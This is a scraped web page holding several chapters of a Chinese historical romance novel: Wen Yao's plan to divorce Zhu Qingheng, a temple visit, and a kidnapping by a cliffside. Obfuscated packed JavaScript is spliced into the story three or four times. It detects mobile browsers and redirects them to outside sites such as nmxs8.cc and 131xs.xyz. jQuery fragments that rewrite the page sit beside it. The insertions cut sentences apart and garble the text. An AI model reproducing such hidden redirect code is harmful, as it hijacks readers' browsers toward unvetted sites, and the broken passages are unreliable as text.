然而不等他们阻拦,祝清衡已大步流星地冲进来,眼瞳在看到两人诊脉的侧影时骤缩,仿佛唇色都白了几分。 “你不是应在寺里当值么?”臧翡阴沉着脸,先发制人道,“多大的人了还这么马虎莽撞,莫要叫旁人到陛下跟前弹劾你……” “要看病为何不找府医?”祝清衡只觉得脑袋里嗡嗡作响,下意识打断了臧翡的话,“事关身体的事,母亲,您若实在担心窈窈,我立马进宫向陛下请来太医,总可叫您安心了?” “这是什么话,”臧翡未尽之语被截,偏偏人多眼杂她无法发作,只好道,“我觉得这个女大夫看得就挺好,再说,太医多是男子,看女人的病还是要女人来,听娘的话,你且不必操心,快快回你大理寺去。” “不,我们不看……”祝清衡管不了那么多了,若换作其他人事他可以随臧翡去,唯独柳瓷这事不行。 他上前要拉温窈的手臂好让她挣脱柳瓷的指腹,温窈却微抬下颌望向他,“我觉得母亲说的对,女人的病还需女人来看,我也想听一听柳大夫的见解。” 温窈是真不知道还是装傻?臧翡探究的眼神落在她身上,温窈神情如旧,看向柳瓷的目光平和冷静,不见丝毫妒忌敌意。 温窈道:“柳大夫可看出什么来了?” “少夫人体质稳和,脉搏强健,肉//体上并无大碍,”柳瓷无视了祝清衡警告震吓的眼神,目不斜视道,“只是要平和情绪,切勿多事堆心头,否则易生心病。” 祝清衡听得额角青筋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15337119|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直跳,几乎在她话落的瞬间便反驳道:“胡说!来人,把她给我赶出……” “柳大夫说得有理,”温窈弯了弯唇,像湾清水轻飘飘地扑灭了身边男人的话音,“那柳大夫可能看出,我多年不孕子嗣的原因?” 祝清衡不可置信的目光仿佛要在温窈白皙的面容上灼出一撮火。 柳瓷神情微顿,视线再次对上温窈静水碧湖般的眸子。 她说:“许是人意,许是天意。” 温窈垂眸轻笑,“柳大夫当真是妙人妙语。” 两人你一言我一语,不像针锋相对的敌人,倒像真正的大夫和病人。 祝清衡已然头脑混乱,分明温窈一直对柳瓷有所介怀,又为何会在明知柳瓷身份的情况下还要与她虚与委蛇,温窈并非这般磋磨的性子。 但显然温窈对身边男人的惊疑不解不在意也不过问,她从桌边起身,对臧翡颔首道:“既然柳大夫已为儿媳探看过,儿媳多谢母亲惦念,便不多叨扰了。” 臧翡凤眼晦暗,沉默地用目光打量着她这个儿媳。 以祝清衡的态度看,温窈恐怕对柳瓷的身份清楚得不能再清楚了,不然祝清衡不会抛下大理寺事务火急火燎赶回来阻拦。 她将柳瓷带到祝府,又刻意找了理由诱导她同温窈见面,自然是存了心思和目的。 心思是为了敲打温窈,好让她明白自己的身份,不要再做可笑的白日梦。 至于目的,一是要用柳瓷刺激她,只要有了危机感,温窈那么聪明,必然会为了保住自己的地位而滋生孕子的念头; 二也是试探祝清衡的想法,看究竟是温窈重要,还是柳瓷这个“新欢”重要。 她虽不喜温窈的做派,可温窈好歹是官宦门第的女子,她绝不会允许祝清衡纳一个从青楼里赎出来的女人为妾。 “母亲。” 臧翡思绪被拉回,正巧对上温窈的眼睛。 好像她心中的算计、掂量,以及傲慢轻蔑都能被温窈轻易看穿。 她厌恶这种感觉,一连厌恶温窈。 “后日儿媳想去一趟大觉寺,为祝家、和祝家未来的子嗣祈福。” 温窈嗓音温和,“望母亲批准。” …… 28. 风雪乱山深 大觉寺虽在山上,却在长安境内,从祝府马车出发只消一个时辰便能抵达,寻常皇家祈福祭祀亦在其中,多年香火旺盛,也因此于情于理臧翡都不该驳了温窈的请求。 再者温窈在大庭广众之下主动提起子嗣一事,臧翡认为,她是有所动摇了。 这反而在臧翡的意料之中,前有臧舒雯入府,后有柳瓷居外,只要是个女人就不能忍受,何况温窈成婚三年都未受过男人变心的气,眼下会着急多疑是必然的事。 如此,祝家子嗣有望,倒可以先不将她逼那么紧——兔子急了也会咬人,臧翡深知这个道理。 不过她留了心眼,温窈此人变数太大,她断然不能因其一句话信之,索性遣了臧舒雯随她一道去,却不想祝清衡竟向上头告了假,非要和温窈同去不可。 祝清衡要做的事九头牛也拉不回来,臧翡先前本就因温窈擅自离府而降罚之事与祝清衡生了嫌隙,便只当不知,不去做这个恶人。 人夫妻乘同一辆马车,臧舒雯再赶着趟要去就不合适了,好在温窈为人细心,主动提出让祝清衡去骑马,她和臧舒雯同坐马车。 祝清衡:“……”他虽有不悦,可也不好在这种时候和温窈争执,再者他和温窈尚在冷战,温窈有意要避开他,他只能捏着鼻子认了。 琉锦驾着马车上路,直到远离市井,臧舒雯才掀起帷帘朝外瞟了一眼——祝清衡骑马缀在马车后,约莫是看出温窈不想搭理他,干脆离远些好让温窈眼不见心不烦。 这个距离,男人听不见车内的人讲话。 臧舒雯放下帘子,轻轻道:“看来表哥对嫂嫂情深义重啊。” 温窈靠着车壁假寐,闻言没什么反应。 “嫂嫂,你那日诓我,害得我被姑母训得好惨,”臧舒雯故意提起前两日的事,成功得到温窈投来的目光,于是表情语气愈发夸张,作西子捧心状,“我可是好不容易才争取到和你一起出来的机会的,你就这般冷待我,哎,叫人好生心寒。” 温窈:“那你和后头那个骑马的换个位置。” 臧舒雯捂胸口的动作一顿,笑容僵硬地往温窈身边蹭了蹭,“嫂嫂好狠的心。” 自从她说穿身份后,两人的关系突飞猛进,温窈已习惯她嬉皮笑脸的德行,转而正色道:“她可看出什么端倪了?” 这问的是臧翡。毕竟那日温窈能顺利出府还多亏了臧舒雯打掩护,要是臧翡怀疑起来,对温窈和臧舒雯都不是好事。 “应当是没有的,我只说我是想同你打好关系才去找你,与你说了两句话你便说有事,叫我在屋里等。”臧舒雯细细回忆着,缓缓摇了摇头,“我到底有她侄女的名头,又从岭南来,她不会轻易往别处想的。” 在臧翡眼中,臧舒雯是臧家的人,也就是她的人,怎么可能会做出背叛臧翡而帮助外姓人的事呢?因此她只会恼怒臧舒雯蠢笨,却不会有其他质疑。 “我竟不曾想,山家当年逃难会路遇岭南,”温窈握了握臧舒雯的手背,真心实意道,“还要多谢你,若没有你,我又怎会再得到他们的消息,也不会那么轻巧地前往追天塔赴约。” “山家家主曾救过我一命,我不过是尽我所能为她的子孙做了点小事,相比起来根本不值一提。”臧舒雯收敛了笑意,眼神落寞些许,“可惜他们走得匆忙,我也不知他们最后往什么地方去了。” “没有消息或许才是最好的消息。” 温窈了解山致远,她既然做出带族人离开青山的决定,说明她早就想好了退路,哪怕路途遭人追杀是计划之外,可温窈坚信,以山致远的聪明才智,不会叫山家覆灭。 平静的日子过得太久,温窈几乎要忘却风雨侵袭的感觉。 “那你打算怎么做?”臧舒雯抿唇,无论是她到长安后听到的有关温窈的传闻,还是她在祝府亲眼目睹到的温窈的处境,无一不在告诉她,温窈想脱离祝家,难如登天。 且不说温窈已嫁给祝清衡为人妇,再者她母亲离世,又与父亲关系不和,相当于从母家得不到半分助力——甚至还有被母家施压的风险。 而且那祝清衡性子奇怪,连臧翡都不敢多招惹他,温窈想和他和离更是难上加难。 谁让大兖律法明文规定,男女嫁娶和离都需父母之言,再不济也要夫妻双方同意。 说是“双方”,其实多是男子不愿,便离不成这亲,若男子愿意,轻为和离,重为休妻,到底没女人什么事。 “让他松口不难,”温窈沉默一瞬,接着道,“当初他算计我,让我心甘情愿嫁进祝家,如今,我便要他咬碎了牙,也不得不放我离开。” 她不是没想过和祝清衡直接挑明一切,留下一张和离书一走了之,可她和祝清衡认识太久了,久到她不用深思便能料到,她这般做,祝清衡非但不会与她和离,接踵而来的将是数不清的忏悔和道歉。 后悔和歉意如果有用,大理寺狱和诏狱岂不是寂如空巢。 所以她告诉永平,快则一日,慢则七日。 七日内,她必要让祝清衡哑口无言,自此留她一片清净世界。 …… 大觉寺。 上山的路上人来人往,华衣素布、男女老少皆有之。浓重的香灰气息裹挟着料峭轻寒,山雾之下烟火缭绕,隐隐蓬发着生气。 山路长陡,马车和马匹只能停在山下,从温窈下马车起,祝清衡便如同什么都没发生过似的,仿佛护花使者一样守在温窈身边,有意无意地将臧舒雯挤到琉锦琉银边上。 臧舒雯在他背后翻了个白眼,心道看在他马上就要成弃夫的份儿上不和他一般见识。 而温窈虽未流露出什么情绪,至少没有阻拦制止,对祝清衡来说已是一大进步。 “窈窈,”祝清衡一面帮她挡去周围人影摩踵,一面低声对她道,“前两日你不是说,你有话要同我讲么……是什么?” 那日温窈随伏龙使离开前和他说回府后要和他谈一谈,可雨水冲刷了他的理智,他对温窈发了脾气,此事自然不了了之。之后的两日温窈更是把他当不存在的人般,他心里有气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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如果是皇帝,的确有资格和能耐被大觉寺方丈称作贵主,且为了他特意叮嘱其余香客。 两月前,当今皇上曾亲自莅临大觉寺举行祭礼,后又辅以祈福求雨,为的就是九粟城旱灾之事,得以稳住民心。 而今九粟城大部分难民都被安置至潜周城,各方江湖人士、富贾豪勋亦慷慨解囊,总算平息了这场灾害,使大兖上下强绷的劲儿松了口气。 不仅如此,听闻皇帝不知从何处得来一张火铳图,比起现下军营流行的手铳,这只新型火铳射程更远,储弹更多,似乎在瞄准敌人上也更精准。 祝清衡得知此事的第一反应,是感觉这支新型火铳恐怕已十分接近现代的手木仓。 起初他心有怀疑是否大兖还有其余穿越者,恰恰又是皇帝的幕僚为图功禄所以呈上了符合大兖时代的木仓,但他之后略一打听,那张火铳图极有可能出自仇山之手,是穿越者的可能性大大降低。 再说在朝中掀起风波的周天辰薄岑之案幕后真凶已落网,相当于三件喜事,皇帝正是心情大好的时候,所以祝清衡今日告假,皇帝并无微词。 可他忘记了,朝中事务轻松,皇帝也轻松了。 他祝清衡告假要做什么,谢岐想知道轻而易举。 倘若当真是谢岐…… 他究竟想做什么?! 29. 君看一叶舟 并非祝清衡多疑,而是谢岐此人实在难以琢磨,除此之外,他有八成笃定—— 谢岐仍没有对温窈死心。 当初三人在青山相识,彼时祝清衡虽只是个九品史官的儿子,但谢岐也不过是遭人厌弃不被宣怀帝喜爱的皇子,因着谢岐母妃与山家有几分交情,谢岐才会千里迢迢从长安去到青山,基本在山家度过了他所有的少年时光。 祝清衡犹记得他在山家第一次见到谢岐的景象—— 那时谢岐一个半大小子,比温窈大两岁,远没有如今身坐高位的深沉冷漠,甚至换句话来说,几乎能被称作是“刺头”。 而这位刺头儿的刺,往往只对着不熟悉的外来者,某种意义上和孤僻寡言的沈清清有些相似,但最不同的,是他对温窈的态度。 年仅几岁的童男童女自是攀扯不上什么情爱,谁也不会往那方面想,在长辈眼中,也就是“谁和谁玩得更好”“谁与谁亲近些”的区别罢了。 可祝清衡是小孩,灵魂却是二十多岁的成人,切身混在一群孩子之中,想到的、看到的,自然比旁人更多更全面。 比如八岁的谢岐爱在树上睡觉,而他常躺的树桠,正与温窈常看书的石案形成对角,一睁眼就能看见温窈的背影; 比如谢岐向来嘴皮子不饶人,哪怕是沈清清山罗安也没能逃脱被他“刺儿”的命运,唯独温窈是例外; 再比如…… 如果说八九岁的谢岐仅是凭本能行事,只想对温窈好,那么几人回到长安后在祝府求学的日子里,谢岐对温窈的感情便顺理成章变了质。 温窈当局者迷,却没有人比祝清衡看得更清楚,谢岐对她有情。 若不是后来长孙家突然出了事,温窈又被温长风禁足,恐怕谢岐已要向她挑明心意。 好在…… 祝清衡眼皮垂下,没什么情绪道:“你们先去歇息罢,要是当真是皇上……我作为臣子,理应去拜见。窈窈,你且等我半盏茶功夫,我去去便回。” 言语间,男人的视线似不经意掠过身边女人的面容,温窈只随意颔了颔首,带着臧舒雯和琉锦琉银进了禅房。 ——至少温窈是不知情的,那么一切就都是谢岐自作多情。 他心下松了口气,提步往禅院中心走去。 百步之内,果然出现了皇室的轿辇。 …… “要和你见上一面还当真曲折坎坷。” 永平腕抵下颌,百无聊赖地望着绵叠层山,此处在大觉寺后院,寻常人不会来此,再者她带了不少亲卫,哪怕皇帝来了也要被拦一拦。 她突然扭头看向温窈,道:“我给你选的院子如何,满意吗?” 温窈道:“长公主亲自挑选,自然不同凡响。” “我那日还没问你,忽然买院子做什么?”永平回去后左想右想,心中倒是有了猜测,却不敢妄下断论。 毕竟温窈与祝清衡算得上是出了名的伉俪情深夫妻恩爱,当年那样的境地温窈最后也嫁给了祝清衡,三年来为他在背后做了多久的贤内助,又为他放弃了多少机会……永平懒得评说。 她甚至想,说不定温窈此次也未必是真刀实枪。 祝清衡是从青楼赎回一个女人不假,但据可靠探查,他和那个青楼女还没到郎情妾意的时候,此时若他“幡然醒悟”同温窈解释了清楚,可能温窈就原谅他,又能心甘情愿给人家当…… “我要离开祝家,自然需要一个容身之处。”温窈像是看穿了她的怀疑,直截了当道,“既要走,也不可能回温家。” 且不说山辛夷已死,倘若温长风得知她和祝清衡和离的消息,只怕会想方设法扒下她一层皮。 永平略显凌厉的凤眼定定地瞧着她,“当真想好了?”若她临时反悔,她永平便再不会信她了! “你说得对,他并非良善之辈。”温窈抿了口清茶,她和祝清衡定下婚期的时候,永平就警告过她,祝清衡不是什么好人。 可那时温窈有心无力,每日面对温长风和山辛夷已经耗尽了她全部力气,哪怕祝清衡是个罗刹恶鬼,她也嫁的了。 但偏偏祝清衡不是,不仅如此,他有着足以骗过温窈的皮囊和口舌,成功“驯服”了已然精疲力尽的少女。 她太累了,如果不用反抗就能获得自由,何乐而不为呢? 普天之下,除了温窈,没有人比永平更知道当年发生了什么。 正因为永平太清楚温窈承受了多少,才会对她逐渐的缄默放任愈发恨铁不成钢,以至于分道扬镳,不欢而散。 可永平明白,不那么做,温窈可能会心竭而死。 每个人都在逼她,包括永平。 她无法做到眼睁睁看着温窈沦落深渊,却又无能为力。与其说她厌恶温窈自我堕落沉沦,不如说她也恨自己当时羽翼未丰,没能予温窈助力。 时过境迁,后悔已无他用,至少她们还能向前看。 “我虽不知道发生了什么能让你终于下定决心,”永平沉默了一会儿,开口道,“但我很高兴,你呢,萌生离开的想法会高兴吗?” 是高兴,还是痛苦,亦或二者交织? 温窈低眸笑了笑,柳叶眼里盛着清浅的温柔。 她道:“开心,离自由越近的时候,越开心。” 从前她以为有了祝清衡的承诺便算得上自由,直到今日才意识到,所谓的自由,也不过是大些的囚笼。 永平也笑了,后背靠在圈椅上,“我猜现在祝清衡在找你找得团团转。” “那就正好,以此机会做个了断。”温窈眼睫轻抬,看向永平的眼睛,“你带她来了吗?” …… 祝清衡本以为他主动前来拜访,谢岐会以微服推脱不见他。 毕竟谢岐若是冲着温窈来的,更没必要见祝清衡这个眼中钉,他走个过场就能离开。 不想文福只看了他一眼,便让他进屋面见,仿佛早就料定他会来。 祝清衡压下心头的怪异,于外间依礼跪拜道:“微臣不知陛下在此,有失远迎,请陛下恕罪。” 谢岐道:“起来吧,坐。” 禅房不是御书房,谢岐发了话,祝清衡便在外屋挑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢岐凉声道:“厚颜无耻。” “比您不及,”祝清衡说,“若要被天下人知道您堂堂君主觊觎臣妻,不知又要掀起多大的惊涛骇浪。” 谢岐没有说话,祝清衡扬了扬眉尾,心中郁气总算泄了干净,躬身拱手道:“陛下若无旁事,臣便告退了。” 从小到大,诸多事宜,只有温窈这件事是祝清衡真正胜过了谢岐一筹。 一国之君在感情上也不得不伏小做低罢了,只有在这种时候,祝清衡才会由衷地觉得,皇帝也没什么了不起,祝清衡也能与之平起平坐。 他方离开谢岐所住的禅房,却转角便撞见了慌慌张张的琉银。 男人心头一紧,连忙问:“出什么事了?” 琉银急得眼泛泪花,浑身都在发抖,“适才少夫人说要更衣,奴婢陪同而去,却许久不见少夫人出来……待奴婢察觉不对冲进去时已不见少夫人的身影。” 温窈失踪了。 30. 出没风波里 灰云蔽日,天光掩去,朔风刺骨。临崖边,一个玫红衣裳的女人挑着剑,于火篝上反复炙烤,发出噼啪的响声。 温窈手脚被束捆,粗糙的麻绳紧紧缚在她颈间,绳子的另一端则捆在树干上,叫她动弹不得。 而另一面,柳瓷几乎是和她同种行态被束缚着。 两人的脚边各烧有一团篝火,火焰升腾燃烧,光色映在她们面上,其中木灰飞溅,只差毫厘便能轻易烧穿她们的衣袂。 “少夫人,”柳瓷偏脸躲开身侧的灼热,无奈道,“这就是您要与我谈的事吗?” 温窈垂着眼皮,免遭火光照射,闻言回道:“我却是有事要与你谈,只是眼下这般……我也始料未及。” 她需要一个合理的契机脱离祝家,柳瓷便是最好的导火索。 她不去问为何祝清衡唯独对柳瓷青眼有加,也不去问祝清衡为什么断她生路却愿意给柳瓷施展抱负的机会,她只需要以此为借口让祝清衡松口—— 不过,这还要看柳瓷的手段。 “未必是始料未及。”沈清清将二人的交谈听得一清二楚,举剑在空中看了又看,才道,“就算我今日没有把你们绑在此处,温窈,你不也早就准备好了人,好让自己脱身吗?” 柳瓷虽是最接近最简单的法子,可并非万无一失,早在温窈前去追天塔那日,便布谋好了余下的事。 拍下塔内卖品的买客,都会是她的刀。 柳瓷呵呵道:“那与我何干呢,我同你素不相识,你二话不说便将我绑到这里,到底要做什么?” 昨日她的住处突然被毁,不得已暂住客栈,不想今日一早又有官兵围房,莫名其妙被带到这山上来。 她知道这里是大觉寺,便猜到了大概是谁的手笔。徐婵命她从祝清衡入手接近温窈,却未曾言明接近温窈的目的——就算徐婵手里有柳瓷的把柄,可她不能把宝全压在徐婵身上,总要为自己谋后路。 而祝清衡,尚且算一条。 “做什么?”沈清清挽剑于身后,不紧不慢地走到柳瓷面前,垂眼打量她一番,道,“你长得好生眼熟,你父母是何人?” 这她怎么知道。柳瓷皱眉,“与你何干。” “你从九粟城逃难而来,落难青楼,”沈清清提剑用剑柄挑起她的下颌,狭眸睨着她的脸,“只因一副诗字,就能叫祝清衡花五十两赎你……” 他似是不解,“你说你的医术是传承生父,可就我所查,你在九粟城分明是孤女。” 这女人到底什么来头,竟然连这些都能查到?柳瓷眸光闪了闪,道:“如此只是为让患者信服,我虽是孤女,但在九粟城一直以行医为生,便是我编了个出生,也没有伤天害理、草菅人命,你又能将我如何呢?” “这位柳姑娘,你大概还没看清你现在的境地,”沈清清不耐地皱了皱眉,“你是人质,在我手里,就不该再说谎话。” 柳瓷:“……” “趁他们还没找来,我再问你,”沈清清道,“你有意接近祝清衡,是受谁指使?” 柳瓷不说话,沈清清冷哼一声,伸出了自己的手。 一条五彩斑斓的蛇吐着蛇信幽幽地钻出他的袖口,黑溜溜的竖瞳一瞬不眨地盯着女人,仿佛鳞片都裹挟着阴毒之气。 “拿开!”柳瓷下意识往身后躲,可她被压捆在树上根本无路可逃,只能无力地偏过颈子,“快拿开啊!” 沈清清嗤笑道:“熟悉吗?” 柳瓷终于后知后觉这场绑架并非儿戏,面前的女人简直就是疯子! 她控制不住地腿脚蹬地,恐惧至极心中又迸发出一股遭人戏耍的愤怒,“你们做局耍我!” “耍你的是徐婵,可不是我。”沈清清抬指逗了那蛇两下,五色蛇便通人性的缩回他袖中去,“她让你接近祝清衡,又是为什么?” “我不知道!”柳瓷怕蛇,此前在薄岑身死时见到这条蛇时她就是真的被吓得叫出了声,眼下惊惧交加,“她只说让我从祝清衡入手,然后接近温窈,但具体要做什么她压根没告诉我!” 沈清清盯着她,似乎在判断她所言真假,随即又问:“十五日的义卖会请函,是她给你的?” 柳瓷胸口上下起伏,她本就是因徐婵的身份不得不做这些事,小命难保的时候自然一字不落地全抖了出来,“是。” “那看来,你对你的身世一无所知。”沈清清长叹了口气,面上流露出几分无聊,“真没意思。” 柳瓷:“……”神经病吧! “你是怎么从诏狱出来的?”温窈被绑在另一面,看不见两人究竟发生了什么,但从对话能听出个大概,“你绑我们,是要引祝清衡来?” 她对沈清清问柳瓷的那些话不感兴趣,至于徐婵,她隐约能猜出来对方的目的,眼下不是纠结此事的时候。 “我怎么出来的你不用管,”沈清清撇开眼,踱步转到温窈身边,“你不是要与那祝清衡和离吗,我帮你啊。” 温窈不由蹙眉,沈清清如今的性子几乎要和从前判若两人,过去只算得上孤僻,现在却甚至可以说,过于癫狂。 沈清清勾了勾唇,仿佛没有察觉温窈的神色,道:“不如你来猜猜,你的好夫君,过会儿是会选你还是选那位柳姑娘呢?” 温窈眉头皱得更深,“你疯了?” 她听出了沈清清的意思,是要祝清衡在她和柳瓷之间二选一,一个生,一个死。 “你想杀我不如直说,”柳瓷不是聋子,更不是傻子,她和祝清衡不过是一点同乡情谊,祝清衡同温窈可是夫妻,她气急,口不择言道,“我说你话本子看多了吧,弄这么一出对你有什么好处吗?!” 温窈眉眼微沉,“小清,不要做让自己后悔的事。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15361392|165315||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >温窈已许久没这样叫过他了,沈清清恍惚一瞬,满不在意地抚了抚袖缘,“我又不会真叫你们谁去死,你是山家的孩子,我不会害你,至于柳姑娘……我也暂时不会杀她是了。” 不等被绑的两人再说什么,沈清清忽地眼神一凛,“来了。” 来人带了人手,脚步声十分嘈杂,其中真正会武的没有几个。沈清清握着剑越过三堆篝火,淡淡道:“这可是得来全不费工夫的好机会,你们两个可要好好利用了。” 他话音才落下,树林中便冲出不少衙役,如沈清清所愿,除了祝清衡,大觉寺方丈,甚至永平长公主,一个都不少。 沈清清红唇咧出一个笑,“好久不见呐。” 昏暗之中,沈清清涂抹了脂粉的面容在火光间若隐若现,犹如鬼魅。 祝清衡看清他的容貌,瞳孔登时缩紧。 沈清清……他不是被伏龙使抓进诏狱了吗,怎么会出现在此处?! 大觉寺方丈上前道:“这位施主,大觉寺乃佛门重地,您与那两位施主无冤无仇,为何要将她二人掳绑于此?” 沈清清早在他们出现时便站在了树后,他手里有剑,无论是挑起火种,还是砍断绳索都只是一瞬间的事。 而且—— “他手里有毒蛇,”祝清衡冷声道,“不要轻举妄动。” 沈清清笑,“紧张什么,只是我们旧友多年未见,想叙叙旧罢了。” 祝清衡视线扫过难以挣脱束缚的温窈和柳瓷,厉声道:“你拿她们的命做儿戏,沈清清,我看你是疯魔了!” “我疯魔,我哪有你疯魔啊,”沈清清慢悠悠道,“祝清衡,当年长孙家灭门,是你告的密,对吗?” 崖前霎时一片静寂,风声呼啸如啼哭。 祝清衡苍白的声音响起,“你他爹的瞎说什么?!” “这么多年,你们对这桩灭门案讳莫如深,是为什么?” 沈清清自问自答,“长孙秦纪为大兖民生穷极一生,是最为忠良之臣,你们却为了自己的既得利益,毁了长孙家上下百余人口,多恶心啊。” “是长孙秦纪惹了江湖上不该惹的人才让全家死于非命!”祝清衡反驳道,“和旁人没有关系,和我更没有关系!” 时越晚,冷风越峻。 被捆住的两个女人在寒风中衣着单薄,轻微发着颤。 “沈施主,”大觉寺方丈劝说道,“不论您有什么恩怨,至少先放了无辜的人……” “少假惺惺的!”沈清清冷眼扫过与他对立而站的众人,“你们不敢说,我敢。” “当年长孙秦纪奉旨变法,动了有些人的地位,杀长孙,不过是为了稳固长安和各方的势力,杀鸡儆猴。” 王公不敢杀,皇帝不敢杀,只有一个毫无背景的长孙氏被当做祭品,从此淹没在岁月风沙,成为人人口中的忌讳。